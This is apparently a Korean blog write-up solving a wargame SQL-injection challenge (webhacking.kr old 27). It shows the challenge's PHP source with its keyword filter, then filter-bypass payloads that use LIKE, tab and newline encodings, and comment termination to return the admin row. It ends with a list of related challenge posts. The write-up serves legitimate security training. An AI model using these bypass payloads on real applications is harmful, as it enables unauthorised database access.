시작하고 GET Method로 no 변수에 숫자 1을 넣어주면 guest라는 문자열과 view-source가 나타나게 됩니다.
일단 view source 먼저 확인해보면 다음과 같습니다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 27</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> <input type=text name=no><input type=submit> </form> <?php if($_GET['no']){ $db = dbconnect(); if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack"); $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error"); if($r['id']=="guest") echo("guest"); if($r['id']=="admin") solve(27); // admin's no = 2 } ?> <br><a href=?view_source=1>view-source</a> </body> </html>
위의 소스를 보면 no값에 숫자가 감싸져 있는 것을 볼 수 있습니다.
그리고 뒤에는 따로 주석처리할 게 없습니다.
이를 우회하기 위해 다음과 같이 수행해 보았습니다.
select id from chall27 where id='guest' and no=(0)||id='guest' -- )
위와 같이 되면 guest가 나와야 정상이다.
그러나 위의 필터링에서 =, limit, 0x20(스페이스), 0x 등이 필터링 되어 있는 것을 볼 수 있습니다.
따라서 = 대신에 like를 0x20(스페이스) 대신에 GET Method로 %09 혹은 %0a를 넣어주도록 합시다.
문제의 답은 GET Method로 삽입하기 때문에 다음과 같이 쿼리를 넣어줄 수 있습니다.
테스트를 위해 guest를 출력해봄 no=0)%09or%09id%09like%09%27gu%25%27%09--%09
풀이를 위해 admin이 출력되게 함 no=0)%09or%09id%09like%09%27ad%25%27%09--%09
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No30(550) - old (0) | 2019.12.31 |
---|---|
Webhacking.kr_No.29(400) - old (0) | 2019.12.31 |
Webhacking.kr_No13(1000) - old (0) | 2019.12.15 |
Webhacking.kr_No.28(500) - old (0) | 2019.10.25 |
Webhacking.kr_No.26(100) - old (0) | 2019.10.24 |
Webhacking.kr_No.25(150) - old (0) | 2016.12.08 |
Webhacking.kr_No.24(100) - old (0) | 2016.06.28 |
Webhacking.kr_No.23(200) - old (0) | 2016.06.28 |